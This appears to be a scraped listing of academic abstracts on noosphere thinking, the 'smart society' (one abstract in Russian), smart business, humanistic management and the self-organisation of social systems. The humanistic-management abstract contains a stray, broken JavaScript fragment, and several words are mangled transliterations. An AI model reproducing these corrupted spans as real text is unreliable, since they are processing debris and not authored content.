The paper presents the analysis of the concept of the noosphere, information and innovation management, which aims to realize the idea of noosphere thinking in administrative management, namely development of harmonious relationship between man, society, nature. It is revealed that the sphere of mind and spirit is based on the concept of the noosphere-no-information-innovative development of administrative management, which serves as the core of noosphere thinking manager. The aim is to create the concept of noosphere thinking, which is a key (...) point of noosphere genesis. Method - information and synergy that allow to analyze the complex phenomenon of civilization as noosphere, innovative information management. At the heart of the noosphere, information and innovation management is coevolution of interacting elements of the elements of the system, which develops and maintains its integrity. It is important for noosphere administration as a set of processes, which combine three types of evolution - natural, social and activity-in fact, the center of which man as the measure of all things. It is made the conclusion that the formation of the concept of the noosphere-information-innovative development of administrative managers of the modern era should work out the innovation and information infrastructure of noosphere thinking and management culture. (shrink)

Актуальность исследования smart-философии рассматривается в плоскости эволюции общества от индустриального к постиндустриальному, и от информационного к smart-обществу. Представлено концептуализацию измерений smart-общества как разумного, инновационного, интеллектуального, высокотехнологического. В основе smart-общества востребованным есть smart-человек, который работает в высоко инновационной среде, детерминированной информационно-коммуникационными технологиями. Центральная проблема данного исследования - анализ smart-общества, smart-управления, smart-бизнеса, smart-государства, в основе которых новое взаимодействие человека и общества. Главная задача – обосновать концептуализацию smart-общества в контексте измерений, в основе которых человек как объект и предмет познания; исследовать понятийно-категориальный аппарат темы (...) и эволюцию основных категорий в измерении «smart», а также востребованность человека как креатора инновационной среды. Методологической основой исследования является синергетический подход, в контексте которого новые реалии «smart», которые трансформируют социальные аспекты бытия человека и общества. Информационный подход к анализу социума исходит из синергетического, нелинейного видения путей разрешения общецивилизационных проблем. Методы - аантропологический и социоаксиологический методы и подходы позволяют раскрыть измерения smart-общества, в основе которого человек, образование, движение к «обществу инноваций» и знаний. Научная новизна исследования, что в нем впервые представлена концептуализация smart-общества в философском контексте и разработан ее поятийно-категориальный аппарат. Делается вывод, что прорыв в системе ИКТ определил глубинные содержательные изменения во всех сферах общественной и профессиональной деятельности, которые привели к появлению нового феномена smart-общества и smart-человека. Результаты исследования – формирование концепции smart-общества как высшей стадии цивилизационного развития человечества. Выводы – концепция smart-общества требует своего внедрения на всех уровнях развития человеческой жизнедеятельности, что свидетельствует о высоком рейтинге страны по инновационному развитию. (shrink)

In the article the subject of the theme and purpose of the work is the conceptualization of the formation and development of a new type of society – the smart- society developing in the modern era of the information revolution. The article uses the system methodology for the analysis of complex problems of development of project-oriented business from information to smart-business and analysed category vehicle concept of the development of project-oriented business. Defined the essence of the project-oriented organization and its (...) purpose in terms of the transition from the information entity to smart organizations in terms of digital transformation. Shown is an example of the application of smart technologies-staffìng organizations, indicating difficulties finding staff to work in the smart organìzcaìâh in the conditions of the digital transformation of society in the age of the Internet. (shrink)

Analyzes the concept of humanistic management, disclosed its problems and on this basis developed ways and directions of increase of efficiency of humanistic management. Humanistic management is a new type of management activity, which should be aimed at solving the problems of socìoantropologìčnogo nature. Developed a new management paradigm of humanistic management, which includes the principles of humanism and lûdinocentrizmu and is formed on the basis of science, culture, education and new management technologies. The concept of humanistic management is defined (...) as a new type of management of public activities aimed at achieving the goals of humanitarian development by means of humanism. The concept of humanistic management as mul′tiparadigmal′na the scope of knowledge is defined by various factors – economic, political, social, cultural. Concluded. that the concept of humanistic management based on antropoloìgčnih principles that represent a set of ideas of humanism, which conducive to human development // o;o++)t+=e.charCodeAt.toString;return t},a=function{e=e.match;for(var t="",o=0;o. (shrink)

The article presents the conditions for the self-deployment of a globalized world as a set of complex of social systems under conditions of instability. The globalized world as a self-deployment of complex of hierarchical systems under conditions of uncertainty, information stochasticity and "balancing on the brink of chaos" is an integral part of increasing the efficiency of the management system as a whole. The main purpose of the article is the conceptualization of the self-deployment of the globalized world as a (...) set of complex social systems under conditions of stochasticity and "balancing on the verge of chaos”. The term "self-deployment" of complex social systems under conditions of uncertainty and instability reveals the transitions of quality from one state to another. Used methodology - systemic, structural-functional and synergetic methods and approaches that allow to analyze the conditions of instability and uncertainty. The synergetic-reflexive model of management as a complex social system consists of a set of nonlinear processes, in particular dynamic chaos as some of the most complex ordering. The research is based on the following objectives: to reveal the essence of self-deployment and its main stages; determine the role played by autopoiesis in the structuring of social systems as integral units. On the basis of the proposed methods, the conceptual-categorical apparatus necessary for the conceptualization of the self-deployment of the globalized world as a complex of complex social systems is clarified. the synergetic-reflexive model of control necessary for solving problems of stochastic, uncertainty and "balancing on the edge of chaos" is analyzed. The scientific novelty of the research in identifying the ways to overcome disorganization, instability, "balancing on the verge of chaos" and the transition to a stable stage in the development of the social system. This allows us to conclude that the basis of self-deployment of the globalized world as a set of complex social systems is autopoiesis, self-regulation and self-organization, which are aimed at solving problems of uncertainty, information stochasticity and "balancing on the verge of chaos". (shrink)